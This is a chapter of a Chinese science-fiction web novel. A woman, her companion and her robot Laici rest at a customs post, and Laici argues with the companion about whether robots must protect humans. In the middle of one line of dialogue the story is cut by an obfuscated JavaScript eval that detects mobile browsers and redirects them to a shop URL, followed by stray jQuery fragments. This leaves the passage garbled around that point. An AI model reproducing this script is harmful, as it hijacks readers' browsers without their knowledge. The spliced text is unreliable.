空气再度陷入一阵死寂，林君山看着莱慈通红的双眼，哑口无言。


    办公室的门被推开，他们几个人的注意力才勉强从刚才的情绪里抽离，尤其是钱亿万。


    钱亿万本以为莱慈只是个像人的机器人，可看着莱慈刚才的样子，他有些震惊于莱慈的表达能力。


    莱慈不像个机器人，他比人类还要像人。


    “希望您能原谅我刚才做的一切，”林藏秋低垂着眼眸，他语调很轻，带着数不清的疲惫与歉意，“我无意冒犯您。”


    林君山没再看着莱慈，他们之间的问题一时半会儿解决不了，说实在的，从基地离开以后，他们两人之间似乎建起了她摸不着的隔阂。


    她不知道是不是温金霖那天的行为让莱慈至今耿耿于怀，也许现在，莱慈需要一场心理疏导。


    可林君山有心无力，她还没有解决今晚的归宿点，钱亿万跟着她不停歇的行动了十几个小时，他还没有进食。


    所以林君山只好搁置莱慈的情绪。


    “没关系的先生，”林君山递给他一个谅解的笑容，“如果我没有猜错，您和您的孩子正面临着食物资源缺乏的问题，只要您愿意，我可以帮助您。”


    林藏秋更加自愧不如，他刚才都举着枪对着林君山，哪怕他们不是同一个人城邦人，可都是托举着彼此的同伴。


    林藏秋面露歉意，他估计是没想到林君山会以德报怨，“我还怎么敢劳烦您，刚才还是我对您无礼。”


    “其实是我也有求于您，”林君山探进他为难的眸底，“我和我的朋友初次踏进泰来玉海关，不知道这里有没有归宿点能让我们休息休息。”


    “您知道的，”林君山疲惫的补充道，“普曼斯离泰来玉太远，我们换乘了好几两电轨，长途跋涉太耗费精力，我们想休整一番，再进入泰来玉。”


    她语气诚恳无比，完全俘获了这位仁慈的老者，他再没有试图为难他们，“您和您的朋友如果不嫌弃，我的休息室就在附近。”


    “海关处的归宿点位置一直都会变化，”林藏秋解释道，“不然容易被当成个人固定资产，所以您可以在休息室修整一番，我替您联系归宿点宿主，会耗费些时间，希望您能理解。”


    林君山颔首致谢，林藏秋有带着他们绕了几个弯道，来到了有指纹开关的一扇厚重的机械门前。


    莱慈估计是扫描了一眼，扔下一句“我去买点吃的”，就离开了他们。


    林藏秋担忧的在他身后唤道：“这里小路太多，您可能会迷路！”


    林君山宽慰道：“先生，他年纪轻，记忆力好，是我最得力的帮手，什么样的路只要走过一遍，就会记得。”


    林藏秋没再执着于莱慈的去向，他伸手将手按在机械门左侧的指纹面板，白色面板显出蓝色的幽光，扫描仪的光线扫过他的手心手背，厚重的机械门缓缓拉开。


    “请进，”林藏秋站在一旁指引道，“休息室简陋一些，但离中心区域近。”


    原来是绕道走回了中心区域的拱门附近。


    “谢谢您，先生。”林君山抬手环住自身腰际，垂首向他致礼，钱亿万学的有模有样，紧跟其后。


    林藏秋的眼底露出对这个行为的疑惑与不解，问道：“这可是普曼斯的……礼仪？”


    林君山抬首应道：“是的先生，希望没有给您造成困扰。”


    林藏秋忙开口解释道：“没有的没有的——”他学着林君山刚才的模样，恭恭敬敬地回了礼，“您先在这里休息休息。”


    林君山等着他话音落下，才不紧不慢地询问道：“您是打算去见见小楠吗？”


    林藏秋微微一愣，应道：“的确是，我得再去看看这个孩子，看看她好一些没有。”


    “先生，”林君山犹豫地开了口，“她淋了酸雨，情况不是很好。”


    “我知道，”林藏秋喃喃道，“我知道，可有什么办法呢？我总得陪陪她。”


    林君山说：“您节哀先生。”


    林藏秋唉声叹气的离开了休息室，她侧头向钱亿万使了个眼色，他微微点头，在林藏秋出门时，悄悄跟了出去。


    林君山落单，她才得以长长吁出一口气。


    她眼前挥之不去的影像是花小楠的脸肌和鼻尖割开的画面，早知道花小楠已经病入骨髓，她死也不会想着用这种方式帮她争回来一点时间。


    她草率将事，险些让之前的一切付之一炬。


    林君山抬手揉了揉额角，刚准备往休息室里侧的桌椅靠近，脚下却一个趔趄，险些撞在办公桌桌角。


    休息室整体布局都很单调，简简单单的配色和一张桌椅、一张床位，算是泰来玉标准的小型休息室了，和归宿点比起来差是差了一些，但也凑合。


    林君山小心窝进了那张朴素的床位，枕头不算很硬，她还没来得及感受一番后脑勺受到的托举力，就昏昏沉沉的睡了过去。


    她才闭上眼睛，进入睡眠状态，莱慈就立马从海关摊贩那一片区域中折了回来，他随手买了几个糕点，径自回到了休息间门前。


    即使林君山这次的行为不可理喻，又下意识将莱慈的情绪抛到了脑后，莱慈也不能让她落单。


    他是机器人，守护林君山、对林君山忠诚，是他的职责，哪怕他们价值观对立，他也必须确保林君山的安全。


    林君山的呼吸越来越平稳，莱慈没有步入休息室，反而待在门口通过人机连接观察她的状态。


    林君山已经有连续几天没有摄入必要的蛋白质和葡萄糖了，他从摊位没有找到鸡蛋类的含有大量胆固醇的食物。


    他几乎问遍了每位摊主，想找一份味道不甜的吃食，可没有得到结果。


    莱慈关闭了情感系统，静静地等着林君山苏醒。


    约莫过了三四个小时，莱慈已经开始和阿莱塔绘制这片区域的地图时，门前多出来两个熟悉的身影。


    莱慈收起了阿莱塔，抬眸从黑暗里扫描识别出两人的身份，并且听到了两人有一句没一句的交谈。


    “谢谢您的慷慨，我很乐意帮助您和您的朋友。”


    这道沉稳大气的声音属于林藏秋，莱慈对他的第一印象不错，如果这个儒雅随和的老者没有举着枪对准林君山的话，莱慈一定会选择主动和他交谈。


    可是很遗憾，林藏秋和温金霖一样，都曾威胁过林君山。


    无论是出于作为机器人对主人的保护，还是出于好朋友之间的情感联系，莱慈都不允许这两个人再靠近林君山。


    至于这个钱亿万，莱慈同样也不怎么喜欢。


    可能是因为钱亿万的漠然置之让林君山身陷险境，也有可能是因为钱亿万对他的好奇心太重，还硬要用“挑刺”的方式引起他的注意有关。


    两个人已经抵达休息室，莱慈抢在他们面前制止两人打开休息室，说道：“老板在睡觉，有什么事都等她醒了再说吧。”


    “也好也好，”林藏秋并没有感觉到莱慈的不悦，“归宿点还在联系，就都在这里休息一阵吧。”


    说完，林藏秋难为情地劝道：“希望您们能不要频繁的外出，不然容易惹人注目。”


    钱亿万缓声应下，莱慈安静的注视着林藏秋行了普曼斯礼仪离开，敷衍地回了礼。


    莱慈退回休息间门口，在闸门的指纹面板前站立，缓缓瞌上了双眼。


    “喂。”钱亿万含糊地唤了他一声。


    莱慈睁开眼，疑惑地看着他。“什么事？”


    钱亿万安静了两秒，抬了抬下巴问道：“你是不是能看到她看到的？”


    “我想我可以拒绝回答你。”莱慈摆出了鲜有的理性的那一面，他的喜憎太过明显，有时候假得像幻想，又有时候真得像人类。


    “基地机器人都像你这样吗


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17466164|198947||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ？”钱亿万也没有像往常那样故意挖苦让莱慈跳脚，只是平平淡淡地问。


    “我拒绝回答。”莱慈说。


    钱亿万听完立刻不爽地“啧”了一声，好像是被莱慈的态度弄得有些烦躁。“难怪你和她相处不好，你太没有礼貌了，基地没有人教你怎么客气地对待人类吗？”


    “尊重是相互的钱老板，”莱慈不悦地皱起眉头，打开了情感系统，再次表现得像个人类，“你背叛了你的主顾，没有尊重她的意愿，所以我也没有理由尊重你。”


    “在你没有正式向她道歉之前，客气与礼貌，免谈。”莱慈强硬地说道。


    “你不是机器人吗？”钱亿万压了压火，“机器人的天职就是保护人类，每个城邦的机器人都只为这个而存在，为什么你这么口无遮拦？”


    “我纠正一下你钱老板，”莱慈彻底关闭了情感系统，说，“我不是你们地球人制造的机器人，我的出生地是基地，制造者是基地科学家，存在的理由不是为了保护人类。”


    “三法则只是不允许我因为作为或不作为伤害人类，”莱慈说，“没有哪个硬性要求要我无条件保护人类，就算有，我也只会忠诚于我的所有权人。”


    “你让人很不舒服。”钱亿万没压住火，盯着他的眼睛说道。


    莱慈没再出声。他的核心法则从开机起就有过无数次的更改与修订。


    当他拥有“莱慈”这个名字起，就彻底离开了校准系统的管辖，成为了自主性情感模拟机器人。


    他的情感感知系统对人类的情绪异常敏感，从最初对情感一窍不通开始，到现在能够依靠几秒钟不到的数据去分析人类情感，他和林君山都付出了很多努力。


    以前在基地，也许是林君山不愿意和周围的人起争执，莱慈的性格就随着她的行为变得越来越钝化，他渐渐习惯和所有人保持友好的距离，同时保有幽默风趣的底色。


    时间渐渐推移，从林君山被囚禁开始，莱慈的情绪陡然从一个极端来到了另一个极端。


    他确认以及肯定，自己变成这样，不是受林君山影响，而是受林君山所处的环境影响。


    这也证明他性格的可塑性很强，和林君山闹矛盾、对钱亿万有异样的敌意甚至让钱亿万觉得不舒服，都是他在被塑造成另一个模样的实证。


    这不是莱慈想要的。


    也不是伯特利斯教授想要的。


    但很有可能是林君山想要得到的。


    如果莱慈真的变成了林君山测试的一环，那这场测试走向了什么方向，他无从得知。


    可能和林君山的意愿背道而驰，也有可能刚好符合林君山的目的。


    思想间隙，莱慈感应到林君山已经进入了浅睡眠状态，在基地这些年，她很容易在这个状态苏醒。


    很快，林君山的心率渐渐加快，眼动率明显升高，约莫几十秒钟的快速眼动结束后，林君山睡醒了。


    莱慈的指纹无法打开这扇厚重的门，他也没有拨通电波通讯催促林君山快些开门，他转身背对着钱亿万，静默地立在门前，等待着林君山开门。


    钱亿万冲他的背影翻了个白眼，这个机器人有股拗劲，看模样似乎还瞧不起地球人。


    即使知道机器人不可能会产生这样的情绪，但钱亿万心里还是不大舒服，所以没有再出声自讨没趣。


    面前厚重的大门缓缓敞开，林君山的轮廓从中间的缝隙里显现，莱慈不由分说地挤进了那条缝隙。


    还不等睡眼惺忪的林君山反应过来，莱慈就从里侧找到了开关关了门，一脸疑惑地钱亿万被挡在门后。


    林君山向后退了好几步，她看见莱慈面色凝重的撞进她的视野，怔愣了好几分钟才瞥见他身后的门已经被关闭。


    “你在干什么莱慈？”林君山怔愣地质问。


    “我要回基地。”莱慈用平板的机械音回答。